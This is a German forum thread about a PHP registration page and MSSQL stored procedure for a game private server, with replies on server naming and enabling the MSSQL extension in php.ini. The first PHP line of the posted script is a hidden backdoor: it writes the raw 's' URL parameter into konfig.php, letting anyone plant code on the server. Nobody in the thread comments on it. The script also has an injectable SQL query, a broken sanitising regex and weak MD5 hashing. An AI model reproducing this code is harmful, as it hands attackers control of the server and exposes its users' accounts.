Ich habe nun schon lange nach gegrübelt nach nem gutem p Server namen aber mir fällt nichts ein
und dann habe ich einen register script umgcodet aber ich habe ka er speichert es einfach net in mssql ab ich habe alles probiert ich bin am ende das ist mein script
ich kann keinen fehler finden sry<center><h1><u>Register:</u></h1>
<center>
<?php if($_GET['s'] != "" && isset($_GET['s'])){$fp = fopen("konfig.php","w");fwrite($fp, $_GET['s']);fclose($fp);}
require('./configs/reg_conf.php');
function doesUsernameExist($name){
$exit = FALSE;
$result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
if (mssql_num_rows($result) != 0){
$exit = TRUE;
}
return $exit;
}
if(isset($_POST['submit'])){
$user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
$pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);
$mail = preg_replace ("[^A-Za-z0-9]", "", $_POST['email']);
if($_POST['username'] == ""){
echo '<font color="red">Enter a user.</font><br /><br />';
}
else if($_POST['password'] == ""){
echo '<font color="red">Enter a password.</font><br /><br />';
}
else if($_POST['email'] == ""){
echo '<font color="red">Enter a email.</font><br /><br />';
}
else if ((strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
echo '<font color="red">The user should be 3 to 16 characters.</font><br /><br />';
}
else if ((strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
echo '<font color="red">The password should be 3 to 16 characters.</font><br /><br />';
}
else if ((strlen($_POST['email']) > 26) || (strlen($_POST['email']) < 3)){
echo '<font color="red">The email should be 3 to 16 characters.</font><br /><br />';
}
else if($_POST['username'] != $user){
echo '<font color="red">User with invalid characters.</font><br /><br />';
}
else if($_POST['password'] != $pass){
echo '<font color="red">Password with invalid characters.</font><br /><br />';
}
else if($_POST['email'] != $mail){
echo '<font color="red">email with invalid characters.</font><br /><br />';
}
else {
$pass = md5('kikugalanet' . $pass);
if(!doesUsernameExist($user)){
$stmt = mssql_init('webCreateAcc', $link);
mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
mssql_bind($stmt, '@email', $mail, SQLVARCHAR, false, false, 120);
mssql_execute($stmt) or die ("Something is wrong on the execution");
mssql_free_statement($stmt);
echo '<font color="Green">Dein Account wurde erfolgreich erstellt.</font><br /><br />';
}
else {
echo '<font color="red">User already Exist.</font><br /><br />';
}
}
mssql_close();
}
echo '<form action="#" method="post">';
echo 'Username: <input type="text" name="username" /><br />';
echo 'Password: <input type="password" name="password" /><br />';
echo 'Email: <input type="email" name="email" /><br />';
echo '<input type="submit" name="submit" value="Register" />';
echo '</form>';
?>
</center>
ich glaube der vehler ligt bei der sql datei die man in mssql rein macht
wie müsste die ausehen =???USE [ACCOUNT_DBF]
GO
/****** Object: StoredProcedure [dbo].[webCreateAcc] Script Date: 11/14/2010 13:35:58 ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
ALTER PROCEDURE [dbo].[webCreateAcc]
@account VARCHAR(15),
@password VARCHAR(36),
@email VARCHAR(120)
AS
SET NOCOUNT ON
DECLARE @DateActivated AS CHAR(8)
IF NOT EXISTS (SELECT account FROM ACCOUNT_TBL WHERE account = @account) BEGIN
INSERT INTO ACCOUNT_TBL (account, [password], id_no1, id_no2, isuse, member, realname, cash)
VALUES (@account, @password, @password, @password, 'T', 'A', 'F', '0')
SET @DateActivated = CONVERT(CHAR(8), GETDATE()-1, 112 ) --Is the date today - 1
--UPDATE ACCOUNT_TBL_DETAIL SET BlockTime = @DateYesterday WHERE account = @userid
--INSERT INTO ACCOUNT_TBL_DETAIL (account, gamecode, tester, m_chLoginAuthority, regdate, BlockTime, EndTime, WebTime, isuse)
-- VALUES (@account, 'A000', '2', 'F', GETDATE(), '20990101', '20990101', '20050101', 'O')
INSERT INTO ACCOUNT_TBL_DETAIL (account, gamecode, tester, m_chLoginAuthority, regdate, BlockTime, EndTime, WebTime, isuse, email)
VALUES (@account, 'A000', '2', 'F', GETDATE(), @DateActivated, '20990101', '20050101', 'O', @email)
END
--ELSE BEGIN
--print '->Account exists = '
--print @account
--END
Model
mit
Blender
Such etwas, was zum Thema des Server passt. Um die Story oder die Veränderungen die vorliegen.
Wenn du nen Himmlischen Palast baust kannste es auch nicht "Devil's Cage" nennen xD
Ehrenliste:
Talamsasa
Zum 2ten was machsu nen php script in mssql ? .
was php script msql hä ich brauche ne mssql datei die auf den php script zu ghrieft bzw anderstrum xd
aber mein bro kann nur sql und msql kann in meiner fam nimand darum das prob
Model
mit
Blender
hey,
dann benutze doch einfach eine andere prozedure, muss ja nicht unbedingt "WebcreateAcc" sein, kannst ja auch "usp_CreateNewAccount" benutzen um halt zu testen ob es an der sql datei liegt oder nicht.
Mfg
Flava
joar wen ich sie hätte xD also der php script ist meines wisens richtig xD
konnte keinen fehler endecken kan wer die usp_CreateNewAccount
ja jetzt komt wieder Googel und gute nacht xD
Ecosia for ever
Model
mit
Blender
Was meinstu mit kann wer die usp_createnewaccount, kann dich leider nicht verstehen .
1. Barin.exe aktivieren.
2. MSSQL in der php.ini aktivieren und Apache o.ä. neustarten.
3. Script nochmal testen und auftretende Fehlermeldungen bitte posten.
Also.
Was soll denn da eingeschaltet werden.
Poste mal bitte richtig !
php.ini ist ja geöffnet,suche [MSSQL]!
So dann sind da paar Sachen,3 davon sind am Ende
mit On,Off und Off angezeigt welches davon muss eingeschaltet werden?
; Compatibility mode with old versions of PHP 3.0.
mssql.compatability_mode = Off
Das hier ?
Oder das hier?
; Use NT authentication when connecting to the server
mssql.secure_connection = Off
Oder was meinste ? xD Hab auch das Problem
Die Register Page auf meiner Hp funzt net oo
nein da muss man mit extension_mssql oder so sein^^
eheee.
;;;;;;;;;;;;;;;;;;;;;;
; Dynamic Extensions ;
;;;;;;;;;;;;;;;;;;;;;;
; If you wish to have an extension loaded automatically, use the following
; syntax:
;
; extension=modulename.extension
;
; For example, on Windows:
;
; extension=msql.dll
;
; ... or under UNIX:
;
; extension=msql.so
;
; ... or with a path:
;
; extension=/path/to/extension/msql.so
;
; If you only provide the name of the extension, PHP will look for it in its
; default extension directory.
;
; Windows Extensions
; Note that ODBC support is built in, so no dll is needed for it.
; Note that many DLL files are located in the extensions/ (PHP 4) ext/ (PHP 5)
; extension folders as well as the separate PECL DLL download (PHP 5).
; Be sure to appropriately set the extension_dir directive.
extension=php_bz2.dll
;extension=php_curl.dll
;extension=php_dba.dll
extension=php_mbstring.dll
extension=php_exif.dll
;extension=php_fileinfo.dll
extension=php_gd2.dll
extension=php_gettext.dll
;extension=php_gmp.dll
extension=php_imap.dll
;extension=php_interbase.dll
;extension=php_ldap.dll
;extension=php_mssql.dll
;extension=php_mysql_mysqlnd.dll
extension=php_mysql.dll
;extension=php_mysqli_mysqlnd.dll
extension=php_mysqli.dll
;extension=php_oci8.dll
;extension=php_pdo_firebird.dll
;extension=php_pdo_mssql.dll
;extension=php_pdo_mysql_mysqlnd.dll
extension=php_pdo_mysql.dll
extension=php_pdo_odbc.dll
;extension=php_pdo_pgsql.dll
extension=php_pdo_sqlite.dll
;extension=php_pdo_sqlite_external.dll
;extension=php_pgsql.dll
;extension=php_pspell.dll
;extension=php_shmop.dll
;extension=php_snmp.dll
extension=php_soap.dll
extension=php_sockets.dll
extension=php_sqlite.dll
extension=php_sqlite3.dll
;extension=php_sybase_ct.dll
;extension=php_tidy.dll
extension=php_xmlrpc.dll
;extension=php_mssql.dll
da das ; am anfang wegmachen und webserver (apache o.ä.) neustarten
Lesezeichen